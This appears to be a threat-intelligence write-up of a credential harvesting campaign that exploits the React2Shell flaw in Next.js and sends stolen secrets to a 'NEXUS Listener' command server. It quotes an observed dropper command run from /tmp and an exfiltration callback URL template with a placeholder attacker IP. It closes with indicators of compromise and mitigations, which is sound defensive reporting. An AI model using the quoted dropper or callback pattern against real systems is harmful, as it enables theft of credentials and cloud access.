Cybersecurity researchers have uncovered a large-scale credential harvesting operation attributed to a threat cluster tracked as UAT-10608. This campaign demonstrates how modern attackers are combining automation, cloud awareness, and framework-specific exploits to compromise hundreds of systems in a matter of hours.
At the center of this operation lies a framework known as “NEXUS Listener,” a sophisticated data aggregation platform designed to collect, organize, and analyze sensitive information stolen from compromised systems. As of the latest findings, at least 766 hosts across multiple cloud providers and geographic regions have been affected.
Exploiting React2Shell for Initial Access
The attack chain begins with the exploitation of a critical vulnerability known as React2Shell (CVE-2025-55182). This flaw affects React Server Components (RSC), particularly in applications built with Next.js.
React2Shell is a pre-authentication remote code execution vulnerability. It allows attackers to send specially crafted serialized payloads to server-side endpoints, which are then deserialized without proper validation. This process enables arbitrary code execution within the Node.js runtime.
The exploitation flow is straightforward but powerful. Attackers scan for publicly accessible applications using vulnerable RSC implementations. Once identified, they send malicious payloads directly to server function endpoints. Since no authentication is required, exploitation can be fully automated.
The scale of the campaign suggests the use of internet-wide scanning tools such as Shodan or Censys, or custom-built scanners that identify exposed Next.js deployments.
Automated Payload Deployment and Execution
After gaining initial access, the attackers deploy a staged payload. A small dropper script is executed, which then retrieves a more comprehensive multi-phase harvesting script.
A typical execution command observed in compromised systems looks like this: /bin/sh -c nohup sh /tmp/.eba9ee1e4.sh >/dev/null 2>&1
The use of nohup, randomized filenames, and execution from /tmp indicates an effort to remain stealthy and persistent.
The harvesting script operates in multiple phases, each designed to extract specific categories of sensitive data:
- Environment variables from running processes
- JSON-based runtime secrets
- SSH private keys and authorized keys
- Credential tokens through pattern matching
- Shell command history
- Cloud metadata (AWS, GCP, Azure)
- Kubernetes service account tokens
- Docker container configurations
- Process command-line arguments
Each phase is tracked using a meta.json file, ensuring systematic execution and reporting.
Data Exfiltration via NEXUS Listener
Once data is collected, it is exfiltrated to a command-and-control server running the NEXUS Listener application. Communication typically occurs over HTTP on port 8080 and includes parameters such as hostname, execution phase, and a unique identifier.
Example callback format: http://<NEXUS_LISTENER_IP>:8080/h=<VICTIM_HOSTNAME>&l=info&id=123abc45
The NEXUS Listener platform then stores this data in a centralized database and presents it through a web interface. This interface includes advanced filtering, statistics, and search capabilities, enabling attackers to efficiently navigate large datasets.
In one observed instance, the dashboard was left publicly exposed, revealing detailed insights into the operation, including victim lists and credential inventories.
Scale and Impact of the Breach
The numbers associated with this campaign highlight its severity:
- 766 compromised hosts
- ~91.5% contained database credentials
- ~78.2% exposed SSH private keys
- ~25.6% included AWS credentials
- ~32% revealed shell history
- ~11.4% had live Stripe API keys
- ~8.6% exposed GitHub tokens
- Over 10,000 files collected
These figures demonstrate not just opportunistic exploitation, but systematic data harvesting at scale.
Types of Data Compromised
The harvested data spans multiple high-risk categories:
Environment Secrets and API Keys
Attackers extracted credentials for AI platforms, payment processors, cloud providers, communication tools, and source control systems. Many database connection strings included cleartext passwords.
SSH Private Keys
Found in 78% of compromised hosts, these keys enable lateral movement across systems, especially in environments where key reuse is common.
Cloud Credentials
By querying metadata services, attackers retrieved temporary credentials tied to IAM roles, potentially allowing full cloud environment compromise.
Kubernetes Tokens
Service account tokens provided access to cluster resources, with the potential for privilege escalation depending on RBAC configurations.
Docker Intelligence
Attackers enumerated containers, images, and configurations, identifying high-value services such as admin dashboards and automation tools.
Shell Command History
Command histories revealed operational behavior, including database access patterns and service management commands.
Broader Security Implications
The implications of this campaign are extensive. Every exposed credential must be treated as compromised. Attackers can perform account takeovers, cloud infrastructure manipulation, and financial fraud using exposed keys.
SSH key exposure introduces long-term risk, as access may persist even after credentials are rotated. Additionally, compromised package registry credentials raise the possibility of supply chain attacks.
Beyond immediate risks, the aggregated dataset provides attackers with a detailed blueprint of organizational infrastructure, enabling more targeted and sophisticated follow-up attacks.
Organizations may also face regulatory consequences under frameworks such as GDPR and PCI DSS, especially when sensitive user or financial data is exposed.
Detection and Mitigation Strategies
Organizations should immediately audit their systems for indicators of compromise, including:
- Suspicious processes in
/tmpwith randomized names - Unauthorized
nohupexecutions - Unexpected outbound network connections
- Leakage of server-side secrets in rendered HTML
Mitigation steps include rotating all credentials, enforcing IMDSv2 in cloud environments, segmenting SSH keys, and deploying runtime protection or WAF rules tailored for Next.js applications.
Strict control over environment variable exposure and secure handling of server-side data is critical to preventing similar attacks.
Our Perspective on This Campaign
This campaign is a clear example of how automation is redefining the threat landscape. What stands out is not just the vulnerability itself, but the operational efficiency of the attackers. Compromising 766 systems within 24 hours shows a level of scalability that traditional defenses often fail to address.
The real concern is the shift from targeted attacks to industrialized exploitation. Attackers are no longer looking for specific victims—they are harvesting the internet at scale, collecting anything of value, and organizing it for later use or resale.
Another critical takeaway is the danger of modern development practices. Frameworks like Next.js accelerate development but also introduce complex attack surfaces. When combined with poor secret management and overexposed environment variables, they create ideal conditions for exploitation.
From a defensive standpoint, organizations must move beyond reactive security. Continuous monitoring, automated credential rotation, and zero-trust principles are no longer optional. The assumption should be that exposure will happen—the priority is minimizing impact and response time.
Finally, this campaign highlights a cultural issue in security: convenience often outweighs caution. Reusing SSH keys, embedding secrets in environments, and over-permissioned cloud roles are all preventable problems. Until these habits change, campaigns like NEXUS Listener will continue to succeed at scale.
